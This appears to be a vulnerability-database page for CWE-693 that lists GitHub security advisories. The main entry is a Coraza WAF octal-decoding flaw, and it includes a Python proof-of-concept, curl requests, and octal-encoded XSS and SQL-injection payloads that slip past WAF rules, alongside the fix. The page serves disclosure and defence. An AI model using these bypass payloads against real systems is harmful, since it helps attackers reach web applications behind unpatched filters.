Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1336 vulnerabilities reference this CWE, most recent first.

GHSA-P854-C355-26CJ

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-08-06 00:00
VLAI
Details

Multiple Cisco products are affected by a vulnerability with TCP Fast Open (TFO) when used in conjunction with the Snort detection engine that could allow an unauthenticated, remote attacker to bypass a configured file policy for HTTP. The vulnerability is due to incorrect detection of the HTTP payload if it is contained at least partially within the TFO connection handshake. An attacker could exploit this vulnerability by sending crafted TFO packets with an HTTP payload through an affected device. A successful exploit could allow the attacker to bypass configured file policy for HTTP packets and deliver a malicious payload.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-13T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple Cisco products are affected by a vulnerability with TCP Fast Open (TFO) when used in conjunction with the Snort detection engine that could allow an unauthenticated, remote attacker to bypass a configured file policy for HTTP. The vulnerability is due to incorrect detection of the HTTP payload if it is contained at least partially within the TFO connection handshake. An attacker could exploit this vulnerability by sending crafted TFO packets with an HTTP payload through an affected device. A successful exploit could allow the attacker to bypass configured file policy for HTTP packets and deliver a malicious payload.",
  "id": "GHSA-p854-c355-26cj",
  "modified": "2022-08-06T00:00:37Z",
  "published": "2022-05-24T17:39:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1224"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/02/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort-tfo-bypass-MmzZrtes"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5354"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P854-CHWV-28C2

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

Secure Boot Security Feature Bypass Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-26250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Secure Boot Security Feature Bypass Vulnerability",
  "id": "GHSA-p854-chwv-28c2",
  "modified": "2024-04-09T18:30:26Z",
  "published": "2024-04-09T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26250"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26250"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P883-QGGF-J55H

Vulnerability from github – Published: 2025-06-12 15:31 – Updated: 2025-06-12 15:31
VLAI
Details

The application fails to implement several security headers. These headers help increase the overall security level of the web application by e.g., preventing the application to be displayed in an iFrame (Clickjacking attacks) or not executing injected malicious JavaScript code (XSS attacks).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-49193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-12T15:15:39Z",
    "severity": "MODERATE"
  },
  "details": "The application fails to implement several security headers. These headers help increase the overall security level of the web application by e.g., preventing the application to be displayed in an iFrame (Clickjacking attacks) or not executing injected malicious JavaScript code (XSS attacks).",
  "id": "GHSA-p883-qggf-j55h",
  "modified": "2025-06-12T15:31:23Z",
  "published": "2025-06-12T15:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49193"
    },
    {
      "type": "WEB",
      "url": "https://cdn.sick.com/media/docs/1/11/411/Special_information_CYBERSECURITY_BY_SICK_en_IM0084411.PDF"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
    },
    {
      "type": "WEB",
      "url": "https://www.first.org/cvss/calculator/3.1"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0007.json"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0007.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P8C5-57M9-RP9F

Vulnerability from github – Published: 2022-11-02 12:00 – Updated: 2022-11-03 19:00
VLAI
Details

A logic issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.8, macOS Monterey 12.5, Security Update 2022-005 Catalina. An archive may be able to bypass Gatekeeper.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-01T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A logic issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.8, macOS Monterey 12.5, Security Update 2022-005 Catalina. An archive may be able to bypass Gatekeeper.",
  "id": "GHSA-p8c5-57m9-rp9f",
  "modified": "2022-11-03T19:00:29Z",
  "published": "2022-11-02T12:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32910"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213343"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213344"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213345"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P8WR-8HG7-QCG5

Vulnerability from github – Published: 2025-03-05 06:31 – Updated: 2025-03-05 21:32
VLAI
Details

Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.843 Application 20.0.1923 allows Insufficient Antivirus Protection and thus drivers can have known malicious code OVE-20230524-0009.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-05T06:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.843 Application 20.0.1923 allows Insufficient Antivirus Protection and thus drivers can have known malicious code OVE-20230524-0009.",
  "id": "GHSA-p8wr-8hg7-qcg5",
  "modified": "2025-03-05T21:32:10Z",
  "published": "2025-03-05T06:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27665"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PC23-5PPW-9J7M

Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-07-15 12:31
VLAI
Details

Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, and Firefox ESR 115.37.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-653",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-16T13:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, and Firefox ESR 115.37.",
  "id": "GHSA-pc23-5ppw-9j7m",
  "modified": "2026-07-15T12:31:49Z",
  "published": "2026-06-16T15:33:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12295"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-61"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-60"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-59"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-58"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-57"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-12295.json"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489226"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2040160"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-12295"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39706"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39428"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39142"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39141"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39011"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:38753"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:38751"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:38750"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:38506"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37391"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37210"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36103"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36102"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36101"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36100"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33445"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30846"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29940"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27734"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27733"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27717"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PC5Q-QFXP-GGQV

Vulnerability from github – Published: 2026-10-08 17:45 – Updated: 2026-10-08 17:45
VLAI
Summary
Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
Details

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

  • Normal Test
 curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E"
< HTTP/1.1 403 Forbidden
< Date: Wed, 01 Jul 2026 16:09:04 GMT
  • Bypass Test
 curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
< HTTP/1.1 200 OK
< Date: Wed, 01 Jul 2026 16:09:04 GMT
< Content-Length: 39
< Hello world, transaction not disrupted.
  • Log Proof
2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false

Impact

Attackers can bypass WAFs that rely on the t:jsDecode transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.

Real-world attack scenarios:

SQL injection bypass. A rule using t:jsDecode received \47\117\122\40\61\75\61 (i.e., ' OR 1=1). This octal string decodes to \0..., so the rule did not match the SQL injection pattern.

Affected Versions

Coraza WAF v3.0.0 - v3.7.0

Resolution

Fixed in internal/transformations/js_decode.go's \OOO octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:

  1. The reported off-by-one (buf[j] = input[i+j] → buf[j] = input[i+1+j], with the digit-continuation check updated to input[i+1+j] accordingly): confirmed and fixed exactly as described above.
  2. A related high-byte clamping bug in the same branch: the decoded value was parsed with strconv.ParseInt(string(buf), 8, 8) — a signed 8-bit parse. Octal values \200-\377 (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to 0x7f instead of their real value. Fixed by parsing as unsigned (strconv.ParseUint(string(buf), 8, 8)), so the full \000-\377 range decodes correctly.
  3. A related overflow-saturation bug in the sibling escapeSeqDecode transformation (internal/transformations/escape_seq_decode.go), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike jsDecode, escapeSeqDecode's indexing was already correct, but it parsed octal values with strconv.ParseUint(input[i+1:i+j], 8, 8) — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (\0-\777, i.e. up to decimal 511), any value above \377 (255) overflows 8 bits, causing strconv.ParseUint to return an error and a saturated value of 0xFF for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's strtol(...) & 0xFF reference behavior). Fixed by widening the parse to 16 bits (strconv.ParseUint(input[i+1:i+j], 8, 16)) before truncating to a byte, so \400-\777 now wrap to their correct low-byte value instead of all saturating to 0xFF.

Verified end-to-end: both PoC payloads from this report now decode correctly — <\163\143\162\151\160\164> → <script>, and \47\117\122\40\61\75\61 → 'OR 1=1 — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.

Extensive regression tests were added covering the full octal range (including the \200-\377 high-byte range and the \400-\777 overflow range for escapeSeqDecode), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.

Mitigation

Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:

for (i+1+j < inputLen) && (j < 3) {
    buf[j] = input[i+1+j]
    j++
    if i+1+j >= inputLen || !isodigit(input[i+1+j]) {
        break
    }
}
...
nn, _ := strconv.ParseUint(string(buf), 8, 8)

Severity (revised 2026-10-02)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).

Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour jsDecode emulates, so the request alone triggers the discrepancy. The previous vector (S:U/C:L/I:L, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.

Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.

AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-172",
      "CWE-193",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:45:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 \u003c inputLen) \u0026\u0026 isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = \u2018\\\u2019 ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(\u20181\u2019)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = \u20181\u2019`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(\u20186\u2019)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = \u20186\u2019`. The counter increments to 3, at which point the loop condition `j \u003c 3` is no longer satisfied. Final buffer: `buf = [\u2018\\\u2019, \u20181\u2019, \u20186\u2019]`. The buffer is truncated when `j = 2` (because `buf[0] = \u2018\\\u2019 \u003e \u20183\u2019`), leaving `[\u2018\\\u2019, \u20181\u2019]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = [\u0027\\\u0027, \u00273\u0027, \u00277\u0027] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = [\u00273\u0027, \u00277\u0027, \u00277\u0027] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n\u003c HTTP/1.1 403 Forbidden\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\u003c HTTP/1.1 200 OK\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n\u003c Content-Length: 39\n\u003c Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"\u003ctxid\u003e\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `\u0027 OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`\u0027s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch \u2014 the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` \u2192 `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` \u2014 a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`\u0027s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` \u2014 an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity\u0027s `strtol(...) \u0026 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly \u2014\n`\u003c\\163\\143\\162\\151\\160\\164\u003e` \u2192 `\u003cscript\u003e`, and `\\47\\117\\122\\40\\61\\75\\61` \u2192 `\u0027OR 1=1` \u2014 so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn\u0027t immediately possible, the specific code change is:\n\n```go\nfor (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j \u003e= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "id": "GHSA-pc5q-qfxp-ggqv",
  "modified": "2026-10-08T17:45:53Z",
  "published": "2026-10-08T17:45:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass"
}

GHSA-PCW7-5633-82VV

